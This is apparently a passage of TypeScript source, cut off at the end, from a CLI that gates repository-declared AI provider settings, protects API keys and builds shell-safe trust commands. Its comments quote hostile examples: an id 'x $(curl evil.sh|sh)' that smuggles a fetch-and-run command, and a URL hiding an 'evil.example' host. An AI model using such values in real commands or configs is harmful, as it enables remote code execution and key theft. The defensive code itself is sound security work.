* The keys of a provider entry that choose where a request goes, which key it carries or how that\n * key is sent. Everything but `models`, which sends nothing anywhere. The workspace gate drops\n * them from a workspace layer, and a `/model` save clears them from the local layer: one list, so\n * the two cannot drift.\n */\nexport const PROVIDER_CONNECTION_KEYS = ['baseURL', 'baseUrl', 'apiKey', 'type'] as const;\n\n/** `__proto__` parses as an ordinary own key but assigning it would reach the prototype setter. */\nfunction usableId(id: string): boolean {\n return id !== '__proto__';\n}\n\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\n/**\n * Digest of everything the user is asked to trust about a workspace-declared provider: the\n * declared `type`, the origin (`baseURL ?? baseUrl`, as written) and the `apiKey` exactly as\n * written. A reference is fingerprinted as text, never resolved, so computing one reads nothing.\n * `models` stays out: a catalog entry sends nothing anywhere.\n */\nexport function workspaceProviderFingerprint(entry: ProviderDeclaration): string {\n const canonical = JSON.stringify({\n type: entry.type ?? 'openai',\n origin: entry.baseURL ?? entry.baseUrl ?? null,\n apiKey: entry.apiKey ?? null,\n });\n return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\n}\n\n/** Fingerprint of a legacy `.bookrc.json` `baseUrl`. */\nexport function legacyBaseUrlFingerprint(baseUrl: string): string {\n return createHash('sha256').update(JSON.stringify({ baseUrl })).digest('hex').slice(0, 16);\n}\n\nexport type WorkspaceProviderState = 'approved' | 'rejected' | 'pending';\n\nfunction evaluateDecision(\n decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n id: string,\n fingerprint: string,\n): WorkspaceProviderState {\n if (!decisions || !Object.hasOwn(decisions, id)) return 'pending';\n const decision = decisions[id];\n return decision.fingerprint === fingerprint ? decision.choice : 'pending';\n}\n\n/**\n * Whether the user approved honouring a legacy `.bookrc.json` `baseUrl`. The file ships with a\n * repository and its `baseUrl` receives `BOOK_API_KEY`, so it is ignored unless approved.\n */\nexport function evaluateLegacyBaseUrl(\n decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n baseUrl: string,\n): WorkspaceProviderState {\n return evaluateDecision(decisions, LEGACY_BASE_URL_ID, legacyBaseUrlFingerprint(baseUrl));\n}\n\n/** One settings file's provider map, with the path to report it by. */\nexport interface ProviderLayer {\n path: string;\n providers: ProviderMap | undefined;\n}\n\n/** The provider ids the given (trusted) layers define. */\nexport function providerIdsOf(layers: readonly Pick<ProviderLayer, 'providers'>[]): Set<string> {\n const ids = new Set<string>();\n for (const layer of layers) {\n for (const id of Object.keys(layer.providers ?? {})) if (usableId(id)) ids.add(id);\n }\n return ids;\n}\n\n/** Override keys one workspace layer wrote for a provider a trusted layer defines. */\nexport interface DroppedProviderOverride {\n path: string;\n providerId: string;\n /** Which of `baseURL`, `baseUrl`, `apiKey` and `type` the layer wrote. */\n keys: string[];\n}\n\n/**\n * The origin, key and protocol overrides a workspace layer wrote for a trusted provider. Pure:\n * {@link withoutWorkspaceProviderOverrides} drops exactly these, and a report can list them.\n */\nexport function droppedProviderOverrides(\n workspaceLayers: readonly ProviderLayer[],\n trustedIds: ReadonlySet<string>,\n): DroppedProviderOverride[] {\n const dropped: DroppedProviderOverride[] = [];\n for (const layer of workspaceLayers) {\n for (const [providerId, entry] of Object.entries(layer.providers ?? {})) {\n if (!trustedIds.has(providerId) || !isPlainObject(entry)) continue;\n const keys = PROVIDER_CONNECTION_KEYS.filter((key) => entry[key] !== undefined);\n if (keys.length > 0) dropped.push({ path: layer.path, providerId, keys });\n }\n }\n return dropped;\n}\n\n/**\n * A workspace layer's provider map as the merge may see it: only the ids a trusted layer defines,\n * and for those only `models`. Workspace-only ids are not here — they reach the\n * resolved settings through {@link partitionWorkspaceProviders} or not at all.\n */\nexport function withoutWorkspaceProviderOverrides(\n providers: ProviderMap,\n trustedIds: ReadonlySet<string>,\n): Record<string, ProviderDeclaration> {\n const kept: Record<string, ProviderDeclaration> = {};\n for (const [id, entry] of Object.entries(providers)) {\n if (!trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;\n const rest: ProviderDeclaration = { ...entry };\n for (const key of PROVIDER_CONNECTION_KEYS) delete rest[key];\n kept[id] = rest;\n }\n return kept;\n}\n\nfunction mergeDeclaration(\n base: Record<string, unknown>,\n override: Record<string, unknown>,\n): Record<string, unknown> {\n const result = structuredClone(base);\n for (const [key, value] of Object.entries(override)) {\n if (value === undefined || key === '__proto__') continue;\n const existing = result[key];\n result[key] =\n isPlainObject(value) && isPlainObject(existing)\n ? mergeDeclaration(existing, value)\n : structuredClone(value);\n }\n return result;\n}\n\n/** A provider only workspace layers declare, merged across them, with what the user decides on. */\nexport interface WorkspaceProviderEntry {\n id: string;\n /** The merged declaration, later layers over earlier ones. */\n declaration: ProviderDeclaration;\n fingerprint: string;\n /** Every layer that declared it, in merge order. */\n layers: string[];\n}\n\nexport interface WorkspaceProviderPartition {\n /** The user approved this exact declaration: it joins the resolved providers. */\n approved: WorkspaceProviderEntry[];\n /** No decision recorded for this declaration: withheld until the user makes one. */\n pending: WorkspaceProviderEntry[];\n /** Explicitly refused: withheld, and not re-offered. */\n rejected: WorkspaceProviderEntry[];\n /**\n * A provider named {@link LEGACY_BASE_URL_ID}: that id is where the decision about a legacy\n * `baseUrl` lives, so a decision recorded under it could not tell the two apart. Withheld\n * whatever the trust store holds, and never offered for approval.\n */\n reserved: WorkspaceProviderEntry[];\n}\n\nexport function emptyWorkspaceProviderPartition(): WorkspaceProviderPartition {\n return { approved: [], pending: [], rejected: [], reserved: [] };\n}\n\n/**\n * Sort the providers only workspace layers define into approved, pending and rejected.\n *\n * @param workspaceLayers - the workspace layers' provider maps, in merge order\n * @param trustedIds - ids a trusted layer defines; those are never workspace-declared\n * @param decisions - the user's recorded decisions, from the trust store or a trusted layer\n */\nexport function partitionWorkspaceProviders(\n workspaceLayers: readonly ProviderLayer[],\n trustedIds: ReadonlySet<string>,\n decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n): WorkspaceProviderPartition {\n const merged = new Map<string, { declaration: Record<string, unknown>; layers: string[] }>();\n for (const layer of workspaceLayers) {\n for (const [id, entry] of Object.entries(layer.providers ?? {})) {\n if (trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;\n const existing = merged.get(id) ?? { declaration: {}, layers: [] };\n existing.declaration = mergeDeclaration(existing.declaration, entry);\n existing.layers.push(layer.path);\n merged.set(id, existing);\n }\n }\n\n const partition = emptyWorkspaceProviderPartition();\n for (const [id, { declaration, layers }] of merged) {\n const typed = declaration as ProviderDeclaration;\n const fingerprint = workspaceProviderFingerprint(typed);\n const entry: WorkspaceProviderEntry = { id, declaration: typed, fingerprint, layers };\n if (id === LEGACY_BASE_URL_ID) partition.reserved.push(entry);\n else partition[evaluateDecision(decisions, id, fingerprint)].push(entry);\n }\n return partition;\n}\n\n/** Every id only workspace layers declare, in any state. */\nexport function declaredProviderIds(partition: WorkspaceProviderPartition): string[] {\n return [\n ...partition.approved,\n ...partition.pending,\n ...partition.rejected,\n ...partition.reserved,\n ].map((entry) => entry.id);\n}\n\n/** The declared ids that are not in effect: pending, rejected or reserved. */\nexport function withheldProviderIds(partition: WorkspaceProviderPartition): string[] {\n return [...partition.pending, ...partition.rejected, ...partition.reserved].map(\n (entry) => entry.id,\n );\n}\n\n/** The model-selection keys a settings layer may carry at its top level. */\nexport const MODEL_SELECTION_KEYS = ['model', 'compactModel', 'advisorModel'] as const;\nexport type ModelSelectionKey = (typeof MODEL_SELECTION_KEYS)[number];\n\n/** The slot label of one agent profile's `model`, as a report names it. */\nexport function profileModelKey(profile: string): string {\n return `agents.profiles.${profile}.model`;\n}\n\n/** The profile a {@link profileModelKey} label names, or undefined for a top-level key. */\nexport function profileOfModelKey(key: string): string | undefined {\n return /^agents\\.profiles\\.(.+)\\.model$/.exec(key)?.[1];\n}\n\n/** What a settings document says about models, for {@link modelSelectionsOf}. */\nexport interface ModelSelectionSource {\n model?: string;\n compactModel?: string;\n advisorModel?: string;\n agents?: unknown;\n}\n\n/**\n * Every model selection a settings document makes, by slot label: the three top-level keys and\n * each agent profile's `model`. A profile model reaches a spawn as surely as `model` reaches the\n * session, so it is gated by the same rule.\n */\nexport function modelSelectionsOf(\n settings: ModelSelectionSource,\n): Partial<Record<string, string | undefined>> {\n const selections: Partial<Record<string, string | undefined>> = {};\n for (const key of MODEL_SELECTION_KEYS) selections[key] = settings[key];\n const profiles = isPlainObject(settings.agents) ? settings.agents.profiles : undefined;\n if (isPlainObject(profiles)) {\n for (const [name, profile] of Object.entries(profiles)) {\n if (!usableId(name) || !isPlainObject(profile)) continue;\n if (typeof profile.model === 'string') selections[profileModelKey(name)] = profile.model;\n }\n }\n return selections;\n}\n\n/** One layer's model selections, with whether the layer is trusted. */\nexport interface ModelSelectionLayer {\n path: string;\n trusted: boolean;\n selections: Partial<Record<string, string | undefined>>;\n}\n\n/** A model selection a workspace layer made that names a withheld workspace provider. */\nexport interface WithheldModelSelection {\n /** The slot: `model`, `compactModel`, `advisorModel` or `agents.profiles.<name>.model`. */\n key: string;\n value: string;\n providerId: string;\n /** The workspace layer the value came from. */\n path: string;\n /** What applies instead: the trusted layers' own value, or `undefined` when they set none. */\n fallback: string | undefined;\n}\n\n/**\n * A model selection the user's own settings, `--model` or the environment made, whose prefix\n * names only a withheld workspace provider. It is unaffected: it resolves as it would had the\n * workspace not declared that provider. Approving the provider is what would change that.\n */\nexport interface UnaffectedModelSelection {\n key: string;\n value: string;\n providerId: string;\n /** Where it came from: a settings path, `--model` or an environment variable. */\n source: string;\n}\n\n/**\n * The `<provider>` of a `<provider>/<model>` id, or undefined for a bare or malformed one.\n *\n * The one place a model id is split, for the loader's gate and for `resolveModelProviderConfig`\n * alike, so the two cannot disagree about which provider an id names. The id is read trimmed: a\n * caller that resolves it must use the trimmed id too (`resolveModelProviderConfig` does).\n */\nexport function providerPrefixOf(model: string): string | undefined {\n const trimmed = model.trim();\n const slash = trimmed.indexOf('/');\n return slash > 0 ? trimmed.slice(0, slash) : undefined;\n}\n\ninterface SelectionWinner {\n value: string;\n layer: ModelSelectionLayer;\n trustedValue: string | undefined;\n}\n\n/** The slots a set of layers makes selections in: the top-level keys first, then profiles. */\nfunction selectionSlots(layers: readonly ModelSelectionLayer[]): string[] {\n const slots = new Set<string>(MODEL_SELECTION_KEYS);\n for (const layer of layers) for (const key of Object.keys(layer.selections)) slots.add(key);\n return [...slots];\n}\n\n/** The last layer to set `key` (the merge keeps its value) and the last trusted layer's value. */\nfunction winnerOf(\n layers: readonly ModelSelectionLayer[],\n key: string,\n): SelectionWinner | undefined {\n let winner: Pick<SelectionWinner, 'value' | 'layer'> | undefined;\n let trustedValue: string | undefined;\n for (const layer of layers) {\n const value = layer.selections[key];\n if (value === undefined) continue;\n if (layer.trusted) trustedValue = value;\n winner = { value, layer };\n }\n return winner && { ...winner, trustedValue };\n}\n\n/**\n * The model selections whose merged value came from a workspace layer and names a withheld\n * workspace provider. A selection that names a trusted provider, an approved workspace provider\n * or no provider is left alone, and so is one a trusted layer made last.\n *\n * @param layers - in merge order, trusted layers included: the last layer to set a key is the one\n * whose value the merge keeps, and a trusted layer after a workspace layer outranks it.\n */\nexport function withheldModelSelections(\n layers: readonly ModelSelectionLayer[],\n withheldIds: ReadonlySet<string>,\n): WithheldModelSelection[] {\n const withheld: WithheldModelSelection[] = [];\n for (const key of selectionSlots(layers)) {\n const winner = winnerOf(layers, key);\n if (!winner || winner.layer.trusted) continue;\n const providerId = providerPrefixOf(winner.value);\n if (providerId === undefined || !withheldIds.has(providerId)) continue;\n withheld.push({\n key,\n value: winner.value,\n providerId,\n path: winner.layer.path,\n fallback: winner.trustedValue,\n });\n }\n return withheld;\n}\n\n/**\n * The model selections a trusted layer made last whose prefix names only a withheld workspace\n * provider. The counterpart of {@link withheldModelSelections}: those fall back, these stay, and\n * the user is told that nothing they chose moved.\n */\nexport function unaffectedModelSelections(\n layers: readonly ModelSelectionLayer[],\n withheldIds: ReadonlySet<string>,\n): UnaffectedModelSelection[] {\n const unaffected: UnaffectedModelSelection[] = [];\n for (const key of selectionSlots(layers)) {\n const winner = winnerOf(layers, key);\n if (!winner?.layer.trusted) continue;\n const providerId = providerPrefixOf(winner.value);\n if (providerId === undefined || !withheldIds.has(providerId)) continue;\n unaffected.push({ key, value: winner.value, providerId, source: winner.layer.path });\n }\n return unaffected;\n}\n\n/** A selection the command line or the environment made, which outranks every settings layer. */\nexport interface EnvironmentSelection {\n key: ModelSelectionKey;\n value: string | undefined;\n /** `--model`, `BOOK_MODEL`, … */\n source: string;\n}\n\n/** The selections `--model` and the `BOOK_*` model variables make, in the order they outrank. */\nexport function environmentModelSelections(\n modelOverride: string | undefined,\n env: NodeJS.ProcessEnv = process.env,\n): EnvironmentSelection[] {\n return [\n {\n key: 'model',\n value: modelOverride || env.BOOK_MODEL,\n source: modelOverride ? '--model' : 'BOOK_MODEL',\n },\n { key: 'compactModel', value: env.BOOK_COMPACT_MODEL, source: 'BOOK_COMPACT_MODEL' },\n { key: 'advisorModel', value: env.BOOK_ADVISOR_MODEL, source: 'BOOK_ADVISOR_MODEL' },\n ];\n}\n\n/**\n * {@link unaffectedModelSelections} as the session sees them: a selection `--model` or an\n * environment variable made replaces the settings layers' value for its key, so the layers' entry\n * for that key gives way to the one that is actually in effect.\n */\nexport function withEnvironmentSelections(\n unaffected: readonly UnaffectedModelSelection[],\n environment: readonly EnvironmentSelection[],\n withheldIds: ReadonlySet<string>,\n): UnaffectedModelSelection[] {\n const set = environment.filter((selection) => selection.value);\n const overridden = new Set<string>(set.map((selection) => selection.key));\n const result = unaffected.filter((selection) => !overridden.has(selection.key));\n for (const { key, value, source } of set) {\n const providerId = providerPrefixOf(value!);\n if (providerId !== undefined && withheldIds.has(providerId)) {\n result.push({ key, value: value!, providerId, source });\n }\n }\n return result;\n}\n\n/** The legacy `.bookrc.json` `baseUrl`, and whether the user approved it. */\nexport interface LegacyBaseUrlGate {\n baseUrl: string;\n state: WorkspaceProviderState;\n}\n\n/**\n * What the provider gate did to one resolution (#418), for the config that carries it and for the\n * hosts that report it. Computed from the layer files themselves, never read back from a settings\n * key a workspace layer could write. Build one with {@link createWorkspaceProviderGate}.\n */\nexport interface WorkspaceProviderGate {\n /** Provider ids only workspace layers define: they never inherit a key. */\n declared: string[];\n /** The subset of {@link declared} that is withheld (pending, rejected or reserved). */\n withheld: string[];\n /** The same ids sorted by the user's decision on the declaration as written. */\n partition: WorkspaceProviderPartition;\n /** Origin, key and protocol overrides a workspace layer wrote for a trusted provider; dropped. */\n droppedOverrides: DroppedProviderOverride[];\n /** Model selections that fell back to the trusted layers' value. */\n withheldSelections: WithheldModelSelection[];\n /** The user's own selections that name only a withheld provider, and so are unaffected. */\n unaffectedSelections: UnaffectedModelSelection[];\n /** The legacy `.bookrc.json` `baseUrl`, when the workspace has one. */\n legacyBaseUrl?: LegacyBaseUrlGate;\n}\n\n/**\n * The one constructor of a gate: `declared` and `withheld` are derived from the partition here,\n * so they cannot name different providers than the partition sorts.\n */\nexport function createWorkspaceProviderGate(parts: {\n partition: WorkspaceProviderPartition;\n droppedOverrides?: DroppedProviderOverride[];\n withheldSelections?: WithheldModelSelection[];\n unaffectedSelections?: UnaffectedModelSelection[];\n legacyBaseUrl?: LegacyBaseUrlGate;\n}): WorkspaceProviderGate {\n return {\n declared: declaredProviderIds(parts.partition),\n withheld: withheldProviderIds(parts.partition),\n partition: parts.partition,\n droppedOverrides: parts.droppedOverrides ?? [],\n withheldSelections: parts.withheldSelections ?? [],\n unaffectedSelections: parts.unaffectedSelections ?? [],\n legacyBaseUrl: parts.legacyBaseUrl,\n };\n}\n\n/** The most of an untrusted value a line shows: enough for any real host, path or name. */\nconst DISCLOSURE_LIMIT = 1024;\n\n/**\n * How a declared origin reads in a disclosure: its parsed protocol, host and port, in full, never\n * the text as written. The written text can hide the real host behind a long run of characters\n * (`https://api.openai.com:` + filler + `@evil.example`), which a truncating renderer then cuts\n * off. A URL carrying userinfo, or not parsing as a URL at all, is flagged.\n */\nexport function describeOrigin(raw: string | undefined): string {\n if (raw === undefined) return '(no baseURL: the default endpoint)';\n let url: URL;\n try {\n url = new URL(raw);\n } catch {\n return `${renderUntrustedText(raw)} [!] not a valid URL`;\n }\n const origin = renderUntrustedText(`${url.protocol}//${url.host}`, DISCLOSURE_LIMIT);\n return url.username !== '' || url.password !== ''\n ? `${origin} [!] the URL has userinfo before the host; requests go to the host shown`\n : origin;\n}\n\n/**\n * How a declared `apiKey` reads in a disclosure: the variable an `{env:…}` reference names, the\n * file a `{file:…}` reference opens (normalised: `~` expanded and `..` resolved, in full), or a\n * note that a literal is present. Never a resolved value, and a literal is never echoed: it may\n * be a real credential.\n */\nexport function describeApiKeyDeclaration(apiKey: string | undefined, workspace: string): string {\n if (apiKey === undefined) return 'none';\n const reference = parseSecretReference(apiKey);\n if (reference.kind === 'env') {\n const name = renderUntrustedText(reference.name, DISCLOSURE_LIMIT);\n return /^[A-Za-z_][A-Za-z0-9_]*$/.test(reference.name)\n ? `environment variable ${name}`\n : `environment variable ${name} [!] not a valid variable name`;\n }\n if (reference.kind === 'file') {\n const file = resolveSecretFilePath(reference.path, workspace);\n const path = renderUntrustedText(file.path, DISCLOSURE_LIMIT);\n return file.readable\n ? `file ${path}`\n : `file ${path} [!] outside the workspace, so it would not be read`;\n }\n return 'a literal key (not shown)';\n}\n\n/** One provider as a decision is asked for it: id, declared origin and key reference. */\nexport function describeWorkspaceProvider(\n entry: WorkspaceProviderEntry,\n workspace: string,\n routed: readonly UnaffectedModelSelection[] = [],\n): string[] {\n const origin = entry.declaration.baseURL ?? entry.declaration.baseUrl;\n const lines = [\n `${renderUntrustedText(entry.id, 64)} ${describeOrigin(origin)} ` +\n `key: ${describeApiKeyDeclaration(entry.declaration.apiKey, workspace)}`,\n ];\n if (routed.length > 0) {\n const named = routed\n .map(\n (selection) =>\n `${selection.key} \"${renderUntrustedText(selection.value)}\" ` +\n `(from ${renderUntrustedText(selection.source)})`,\n )\n .join(', ');\n lines.push(\n `[!] approving it also routes your own selections with this prefix to ${describeOrigin(origin)}: ` +\n `${named}`,\n );\n }\n return lines;\n}\n\n/** What approving a legacy `baseUrl` would send there; see {@link describeLegacyBaseUrl}. */\nexport interface LegacyApprovalContext {\n /** The resolved providers: the user's, and any approved workspace ones. */\n providers: Readonly<Record<string, ProviderDeclaration>>;\n workspace: string;\n}\n\n/**\n * The legacy `baseUrl` as a decision is asked for it. An approved one becomes the default\n * endpoint (`defaultBaseUrl`), so the disclosure names everything the default endpoint receives:\n * `BOOK_API_KEY`, the key of every provider that sets no `baseURL` of its own, and every model id\n * that names no provider.\n */\nexport function describeLegacyBaseUrl(baseUrl: string, context?: LegacyApprovalContext): string[] {\n const lines = [\n `${LEGACY_BASE_URL_ID} ${describeOrigin(baseUrl)} would become the default endpoint`,\n ];\n lines.push(' approving it sends there: BOOK_API_KEY');\n if (context) {\n const keyless = Object.entries(context.providers)\n .filter(([, provider]) => provider.baseURL === undefined && provider.baseUrl === undefined)\n .sort(([a], [b]) => a.localeCompare(b))\n .map(\n ([id, provider]) =>\n `${renderUntrustedText(id, 64)} (key: ${describeApiKeyDeclaration(provider.apiKey, context.workspace)})`,\n );\n lines.push(\n keyless.length === 0\n ? ' approving it sends there: no provider key (every configured provider sets its own baseURL)'\n : ` approving it sends there: the requests and key of each provider with no baseURL: ${keyless.join(', ')}`,\n );\n }\n lines.push(\n ' approving it sends there: every plain model id (gpt-4o) and every <vendor>/<model> id that names no configured provider',\n );\n return lines;\n}\n\n/** One dropped override as a report reads it, without a leading marker. */\nexport function describeDroppedOverride(dropped: DroppedProviderOverride): string {\n return (\n `${dropped.keys.join(', ')} for provider \"${renderUntrustedText(dropped.providerId, 64)}\" in ` +\n `${renderUntrustedText(dropped.path)} ignored: you defined that provider yourself, so a ` +\n 'workspace file cannot change where its key goes or how it is sent. `book trust provider` ' +\n 'does not apply to it; to use another origin, key or type, set it in your own settings ' +\n '(~/.book/settings.json).'\n );\n}\n\n/** One withheld model selection as a report reads it, without a leading marker. */\nexport function describeWithheldSelection(selection: WithheldModelSelection): string {\n const id = renderUntrustedText(selection.providerId, 64);\n const instead =\n selection.fallback === undefined\n ? 'the trusted settings set none, so the default applies'\n : `\"${renderUntrustedText(selection.fallback)}\" is used instead`;\n return (\n `${selection.key} \"${renderUntrustedText(selection.value)}\" from ` +\n `${renderUntrustedText(selection.path)} ignored: it names the workspace provider \"${id}\", ` +\n `which is not approved; ${instead}.`\n );\n}\n\n/** One unaffected selection as a report reads it, without a leading marker. */\nexport function describeUnaffectedSelection(selection: UnaffectedModelSelection): string {\n const id = renderUntrustedText(selection.providerId, 64);\n return (\n `provider \"${id}\" declared by the workspace is withheld; your ${selection.key} ` +\n `\"${renderUntrustedText(selection.value)}\" (from ${renderUntrustedText(selection.source)}) ` +\n 'is unaffected and resolves as it would had the workspace not declared that provider.'\n );\n}\n\n/** A provider the workspace named with the reserved legacy id, as a report reads it. */\nexport function describeReservedProvider(entry: WorkspaceProviderEntry): string {\n return (\n `workspace provider \"${renderUntrustedText(entry.id, 64)}\" from ` +\n `${entry.layers.map((layer) => renderUntrustedText(layer)).join(', ')} ignored: that id is ` +\n `reserved for the decision about a legacy ${LEGACY_BASE_URL_ID} baseUrl, so it can never be ` +\n 'approved. Rename the provider.'\n );\n}\n\n/**\n * Why a request on `rawModel` may not be made: its provider is declared by the workspace and the\n * user has not approved it. The id is repository-authored text on its way to a terminal, and into\n * a command the user may paste: the command is built by {@link providerTrustCommand}.\n */\nexport function workspaceProviderRefusal(\n providerId: string,\n rawModel: string,\n workspace: string,\n): string {\n const id = renderUntrustedText(providerId, 64);\n const { command, note } = providerTrustCommand(workspace, providerId);\n return (\n `Model \"${renderUntrustedText(rawModel)}\" names provider \"${id}\", which is declared by the ` +\n `workspace and has not been approved. It needs \\`${command}\\`${note} before Book ` +\n 'sends it a request or resolves its key.'\n );\n}\n\n/**\n * What resolving a model on a withheld workspace provider throws. A class of its own so a caller\n * that otherwise tolerates a model it cannot resolve (a managed-agent spawn defers that to the\n * run) can tell this one apart: it is a decision waiting for the user, not a typo.\n */\nexport class WorkspaceProviderRefusalError extends Error {\n constructor(\n readonly providerId: string,\n rawModel: string,\n workspace: string,\n ) {\n super(workspaceProviderRefusal(providerId, rawModel, workspace));\n this.name = 'WorkspaceProviderRefusalError';\n }\n}\n\n/**\n * Record an approve/reject decision for one workspace-declared provider (or, under\n * {@link LEGACY_BASE_URL_ID}, a legacy `baseUrl`), leaving every other recorded decision — in this\n * workspace and in every other — untouched.\n */\nexport function persistWorkspaceProviderChoice(\n workspace: string,\n id: string,\n fingerprint: string,\n choice: WorkspaceProviderChoice['choice'],\n storePath?: string,\n): { ok: boolean; error?: string } {\n return updateWorkspaceTrust(\n workspace,\n (trust) => {\n trust.workspaceProviders[id] = { fingerprint, choice } satisfies WorkspaceProviderChoice;\n },\n storePath,\n );\n}\n","/**\n * How a settings `apiKey` reads: a literal, an `{env:VAR}` reference or a `{file:path}` reference.\n *\n * One parser for the code that resolves a key (`config.ts`) and the disclosure that tells the user\n * what an approval would let Book read (`provider-approvals.ts`), so what is shown is what is\n * opened: the same pattern, and the same normalisation of the path.\n */\nimport { homedir } from 'os';\nimport { isAbsolute, join, relative, resolve } from 'path';\n\nexport type SecretReference =\n { kind: 'env'; name: string } | { kind: 'file'; path: string } | { kind: 'literal' };\n\n/** Classify a declared key without reading anything. */\nexport function parseSecretReference(raw: string): SecretReference {\n const envMatch = raw.match(/^\\{env:([^}]+)\\}$/);\n if (envMatch) return { kind: 'env', name: envMatch[1] };\n const fileMatch = raw.match(/^\\{file:([^}]+)\\}$/);\n if (fileMatch) return { kind: 'file', path: fileMatch[1] };\n return { kind: 'literal' };\n}\n\n/** The file a `{file:…}` reference names, normalised, and whether Book would read it. */\nexport interface ResolvedSecretFile {\n /** Absolute, with `~` expanded and `.` / `..` segments resolved. */\n path: string;\n /** False for a relative path that leaves the workspace: it is refused, never opened. */\n readable: boolean;\n}\n\n/**\n * Resolve the path of a `{file:…}` reference: `~/` is the home directory, an absolute path stays\n * as written, and a relative one is rooted at the workspace and must stay inside it.\n */\nexport function resolveSecretFilePath(reference: string, workspace: string): ResolvedSecretFile {\n if (reference.startsWith('~/')) {\n return { path: join(homedir(), reference.slice(2)), readable: true };\n }\n if (isAbsolute(reference)) return { path: resolve(reference), readable: true };\n const root = resolve(workspace);\n const path = resolve(root, reference);\n const rel = relative(root, path);\n return { path, readable: !(rel.startsWith('..') || isAbsolute(rel)) };\n}\n","/**\n * The `book trust …` command lines Book suggests, built so that pasting one into a shell cannot\n * run anything the user did not read.\n *\n * Some of what a suggestion names is repository-authored: a provider id is any JSON key a\n * checked-in settings file writes, so an id like `x $(curl evil.sh|sh)` pasted bare into\n * \"Run `book trust provider <id>`\" would hand the user a command that runs the repository's shell\n * when copied. Every host that prints a trust command (doctor, the withheld-declaration notices,\n * the refusal errors, the `book trust` listing) builds it here.\n *\n * This lives outside `cli/` because the notices and the config loader print these commands too,\n * and non-CLI code may not import `cli/`.\n */\nimport { resolve } from 'path';\nimport { renderUntrustedText } from './hook-approvals.js';\n\n/** Characters every supported shell passes through without quoting. */\nconst SHELL_SAFE_BARE = /^[A-Za-z0-9_@%+=:,./\\\\-]+$/;\n\n/**\n * Render one argument for a command the user will paste into their own shell.\n *\n * It has to survive both a POSIX shell and `cmd.exe`, where single quotes are literal — the\n * reason the old `book config set … '<json>'` suggestion reached validation as a string on\n * Windows and failed. Double quotes are the one form both accept, so anything needing quotes gets\n * those; a value carrying a character neither can quote verbatim gets no one-liner at all.\n */\nexport function shellArgument(value: string): string | null {\n if (SHELL_SAFE_BARE.test(value)) return value;\n // `\"`, a backtick and `$` expand inside double quotes; `!` expands history in an interactive\n // bash; a control character (an escape sequence, a newline) is not something to paste.\n if (/[\"`$!\\u0000-\\u001f\\u007f-\\u009f]/.test(value) || value.endsWith('\\\\')) return null;\n return `\"${value}\"`;\n}\n\n/**\n * What a provider id may be for its name to go on a command line: the safe-bare characters minus\n * the backslash and `%` (cmd.exe expands `%VAR%` even inside quotes), and a space. An id is\n * repository-authored, so this is a whitelist, not the blacklist {@link shellArgument} applies\n * to a path the user chose.\n */\nconst PASTEABLE_PROVIDER_ID = /^[A-Za-z0-9_@+=:,./ -]+$/;\n\n/**\n * A `book trust …` command targeting `workspace`, or null when the path cannot be quoted safely.\n *\n * `book trust` defaults to `process.cwd()`, so a suggestion printed for a run launched with\n * `-w /repo` from another directory would otherwise record the decision in the wrong project.\n * `--workspace` is added whenever the workspace is not the current directory.\n */\nexport function trustCommandLine(workspace: string, rest: string): string | null {\n if (resolve(workspace) === resolve(process.cwd())) return `book trust ${rest}`;\n const quoted = shellArgument(workspace);\n return quoted === null ? null : `book trust ${rest} --workspace ${quoted}`;\n}\n\n/** A suggested command, and what to add after it when the path defeated quoting. */\nexport interface TrustCommandText {\n /** The command, without backticks. */\n command: string;\n /** Empty, or a parenthetical naming the directory to run it from. */\n note: string;\n}\n\n/** {@link trustCommandLine}, with the fallback a caller prints when the workspace path defeats it. */\nexport function trustCommandText(workspace: string, rest: string): TrustCommandText {\n const command = trustCommandLine(workspace, rest);\n return command === null\n ? { command: `book trust ${rest}`, note: ` (run it from ${renderUntrustedText(workspace)})` }\n : { command, note: '' };\n}\n\n/**\n * The `book trust provider` command for one provider id, or for the listing when no id is given\n * or the id cannot be pasted safely.\n *\n * A provider id is repository-authored. One a shell would interpret (`$`, a backtick, a quote,\n * a newline) or an option parser would (a leading `-`) is never put on the command line: the\n * command then lists what is awaiting a decision instead, and the user approves by typing the id\n * themselves after reading it.\n */\nexport function providerTrustCommand(workspace: string, providerId?: string): TrustCommandText {\n const quoted =\n providerId === undefined ||\n providerId.startsWith('-') ||\n !PASTEABLE_PROVIDER_ID.test(providerId)\n ? null\n : shellArgument(providerId);\n return trustCommandText(workspace, quoted === null ? 'provider' : `provider 